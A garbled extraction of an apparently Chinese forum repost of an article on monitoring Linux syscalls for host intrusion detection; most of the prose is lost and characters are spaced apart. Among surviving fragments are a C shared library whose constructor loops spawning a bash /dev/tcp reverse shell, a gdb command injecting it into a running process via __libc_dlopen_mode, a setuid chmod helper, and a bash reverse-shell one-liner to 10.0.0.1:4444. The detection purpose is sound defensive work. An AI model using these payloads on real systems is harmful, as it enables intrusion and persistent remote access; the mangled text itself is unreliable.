[15615] 2020-07-17_入侵检测之syscall监控

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2020-07-17_入侵检测之syscall监控 s y s c a l l   F r e e B u f   2 0 2 0 - 0 7 - 1 7 L i n u x 1 H I D S - 2 3 A T T & C K l i n u x / 4 L i n u x 5 L i n u x s y s c a l l 6 l i n u x 0 x 0 1 : S y s c a l l 访 便 S y s c a l l ( ,   s y s t e m   c a l l ) 便 L i n u x S y s c a l l l i n u x ( s y s t e m   c a l l   t a b l e ) l i n u x i n t l i n u x e a x e a x     3
( 1 ) f o r k c l o n e     e x e c v e   ( 2 ) f c n t l   o p e n   r e a d   ( 3 ) i o c t l   I / O r e b o o t s y s c t l t r a p c t r l   +   c c t r l +   d S I G I N T S I G I N T 退 C t r l + C 退 使 t r a p S I G I N T t r a p L i n u x 退 E X I T D E B U G E R R R E T U R N 使 0 x 0 2 : s y s c a l l S o   p r e l o a d N e t l i n k C o n n e c t o r   A u d i t S y s c a l l   h o o k L i n u x   a u d i t a u d i t a u d i t d   a u d i t d s y s t e m 1 .   N e t l i n k   2 .   k a u d i t d     N e t l i n k   3 .   a u d i t d 4 . a u d i t d  
f i l e _ i n t e g r i t y   1 . 访 2 .   3 . 4 . 5 . 6 . 7 . 访 0 x 0 3 : s y s c a l l L K M   使 L K M R i n g   0 R o o t k i t 使 L K M r o o t k i t r o o t 访 # i n c l u d e   < l i n u x / k e r n e l . h > # i n c l u d e < l i n u x / m o d u l e . h > # i n c l u d e < l i n u x / i n i t . h > M O D U L E _ L I C E N S E ( " G P L " ) ; s t a t i c   i n t   h e l l o _ i n i t ( v o i d ) { p r i n t k ( K E R N _ W A R N I N G   " H E L L O W O R L D " ) ; r e t u r n   0 ; } s t a t i c   v o i d   h e l l o _ e x i t ( v o i d ) { p r i n t k ( " B Y E " ) ; } m o d u l e _ i n i t ( h e l l o _ i n i t ) ;
l s m o d i n i t _ m o d u l e E L F i n i t i n t   i n i t _ m o d u l e ( v o i d   m o d u l e _ k n o w l e d g e / i m g ,   u n s i g n e d   l o n g   l e n , c o n s t   c h a r   p a r a m _ v a l u e s ) ; C o p y   t o   c l i p b o a r d E r r o r C o p i e d f i n i t _ m o d u l e f i n i t _ m o d u l e i n i t _ m o d u l e f d i n t   f i n i t _ m o d u l e ( i n t   f d ,   c o n s t   c h a r   * p a r a m _ v a l u e s , i n t   f l a g s ) ; C o p y   t o   c l i p b o a r d E r r o r C o p i e d d e l e t e _ m o d u l e - d e l e t e _ m o d u l e 使 退 i n t   d e l e t e _ m o d u l e ( c o n s t   c h a r   * n a m e ,   i n t   f l a g s ) ; S E L i n u x r o o t 访 L i n u x   r o o t k i t r k h u n t e r c h r o o t k i t f i n i t _ m o d u l e i n i t _ m o d u l e d e l e t e _ m o d u l e 0 x 0 4 : s y s c a l l t r a p c t r l   +   c c t r l +   d S I G I N T S I G I N T 退 C t r l + C 退 使 t r a p S I G I N T t r a p L i n u x 退 E X I T D E B U G E R R R E T U R N 使 1 . 使 ( s i g n a l ) 2 . 使 ( e g :   , s i g n a l   h a n d l e r ) . . m o d u l e _ e x i t ( h e l l o _ e x i t ) ;
t r a p s h e l l 广 t r a p t r a p s y s c a l l k i l l , t k i l l , t g k i l l , r t _ s i g a c t i o n , r t _ s i g p e n d i n g , r t _ s i g p r o c m a s k , r t _ s i g q u e u e i n f o , r t _ s i g s u s p e n d , r t _ s i g t i m e d w a i t , s i g n a l f d , s i g n a l f d 4 , r t _ s i g r e t u r n , s i g a l t s t a c k 0 x 0 5 : s y s c a l l 访 / # ! / b i n / s h #   L A S T _ P I D #   退 T H I S _ P I D L A S T _ P I D = $ ( p s   - e f | g r e p   ' j a v a . * Z h e n j i a n g ' | g r e p   - v   g r e p | a w k   ' { p r i n t   $ 2 } ' ) e c h o   " L A S T _ P I D = $ L A S T _ P I D " i f   [   - n   " $ L A S T _ P I D "   ]   & &     [   " $ L A S T _ P I D "   - g t   0   ] ;   t h e n         e c h o   " L A S T   P R O C E S S   N O T   E X I T ,   N O W   K I L L   I T ! "         k i l l   $ L A S T _ P I D         s l e e p   1 f i i f   !   c d   . . / o p t / z h e n j i a n g ;   t h e n         e c h o   " C H A N G E   D I R E C T O R Y   F A I L E D "         e x i t   1 f i j a v a   - c l a s s p a t h   . : . / c p i n t e r f a c e a p i . j a r : . / l o g 4 j - 1 . 2 . 1 4 . j a r : . / h y j c . j a r : . / s m j . c l i e n t . j a r   Z h e n j i a n g   & T H I S _ P I D = $ ! e c h o   " T H I S _ P I D = $ T H I S _ P I D " t r a p   " k i l l   $ T H I S _ P I D "   T E R M w a i t
1 .   L D _ P R E L O A D L D _ L I B R A R Y _ P A T H L i n u x d l f c n A P I 2 .   P t r a c e 3 .   V D S O l i n u x - v d s o . s o E L F T E S   访 使 I P C c a l l b a c k . c c c   - O 2   - f P I C   - o   l i b c a l l b a c k . s o   . / c a l l b a c k . c   - l p t h r e a d   - s h a r e d # i n c l u d e   < p t h r e a d . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < u n i s t d . h > # d e f i n e   S L E E P     1 2 0                                         / *   T i m e   t o   s l e e p   b e t w e e n   c a l l b a c k s   * / # d e f i n e   C B A D D R   " 1 2 7 . 0 . 0 . 1 "                       / *   C a l l b a c k   a d d r e s s   * / # d e f i n e   C B P O R T   " 4 4 4 4 "                                   / *   C a l l b a c k   p o r t   * / / *   R e v e r s e   s h e l l   c o m m a n d   * / # d e f i n e   C M D   " e c h o   ' e x e c   > & / d e v / t c p / "                         C B A D D R   " / "   C B P O R T   " ;   e x e c   0 > & 1 '   |   / b i n / b a s h "   / / s h e l l v o i d   * c a l l b a c k ( v o i d   * a ) ; _ _ a t t r i b u t e _ _ ( ( c o n s t r u c t o r ) )   / *   R u n   t h i s   f u n c t i o n   o n   l i b r a r y   l o a d   * / / /   v o i d   s t a r t _ c a l l b a c k s ( ) {                 p t h r e a d _ t   t i d ;                 p t h r e a d _ a t t r _ t   a t t r ;                 / *   S t a r t   t h r e a d   d e t a c h e d   * /                 i f   ( - 1   = =   p t h r e a d _ a t t r _ i n i t ( & a t t r ) )   {                                 r e t u r n ;                 }                 i f   ( - 1   = =   p t h r e a d _ a t t r _ s e t d e t a c h s t a t e ( & a t t r ,                                                                 P T H R E A D _ C R E A T E _ D E T A C H E D ) )   {                                 r e t u r n ;                 }                 / *   S p a w n   a   t h r e a d   t o   d o   t h e   r e a l   w o r k   * /                 p t h r e a d _ c r e a t e ( & t i d ,   & a t t r ,   c a l l b a c k ,   N U L L ) ;   / / 线 } v o i d   * c a l l b a c k ( v o i d   * a ) {                 f o r   ( ; ; )   {                                 / *   T r y   t o   s p a w n   a   r e v e r s e   s h e l l   * /                                 s y s t e m ( C M D ) ;                                 / *   W a i t   u n t i l   n e x t   s h e l l   * /                                 s l e e p ( S L E E P ) ;                 }                 r e t u r n   N U L L ; }
r o o t r o o t   p s   - f x o   p i d , u s e r , a r g s   |   e g r e p   - v     [ S + ] $ p i d 使 g d b p i d s k i l l e c h o   p r i n t   _ _ l i b c _ d l o p e n _ m o d e ( / r o o t / l i b c a l l b a c k . s o ,   2 )   |   g d b   - p   p i d g d b _ _ l i b c _ d l o p e n _ m o d e 使 G D B p r i n t 便 G D B G D B 退 使 q u i t 4 4 4 4 s y s c a l l p t r a c e 0 x 0 6 : s y s c a l l s e t u i d s e t g i d 使 使 c h m o d # i n c l u d e # i n c l u d e   < s y s / t y p e s . h > # i n c l u d e   < s y s / s t a t . h > i n t   m a i n ( i n t   a r g c ,   c h a r   * a r g v [ ] ) { i f   (   a r g c   ! =   2   )   { p r i n t f ( " U s a g e :   % s   f i l e n a m e n " ,   a r g v [ 0 ] ) ; r e t u r n   ( 1 ) ; } i f   ( c h m o d ( a r g v [ 1 ] ,   S _ I S U I D   |   S _ I R U S R   |   S _ I R G R P   |   S _ I R O T H   |   S _ I X O T H )   <   0 )   { p e r r o r ( " C a n n o t   m o d i f y   t h e   P e r m i s s i o n   o f   t h e   f i l e " ) ; r e t u r n   ( 1 ) ; }       r e t u r n   ( 0 ) ; }
c h m o d ,   f c h m o d ,   f c h m o d a t c h m o d f c h m o d a t   0 x 0 7 : s h e l l s y s c a l l s h e l l t c p / u d p s o c k e t s o c k e t p i p e b a s h L i n u x   b a s h b a s h   - i   > &   / d e v / t c p / 1 0 . 0 . 0 . 1 / 4 4 4 4  
0 > & 1 s o c k e t p i p e
s o c k e t p i p e   b a s h p e r l p y t h o n s y s c a l l s o c k e t c a l l 0 x 0 8 : s y s c a l l s n o o p y l i b 使 s n o o p y r s y s l o g s n o o p y     p r e l o a d     e x e c v ( )     e x e c v e ( )   a u d i t s n o o p y e x e c v e R O O T s y s c a l l e x e c v e A T T & C K l i n u x / 0 x 0 9 : s y s c a l l t o u c h s y s c a l l s e t t i m e o f d a y c l o c k _ s e t t i m e   a d j t i m e x 0 x 1 0 : s y s c a l l s y s c a l l s y s c a l l s y s c a l l c t r l + c   c t r l   + v  
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则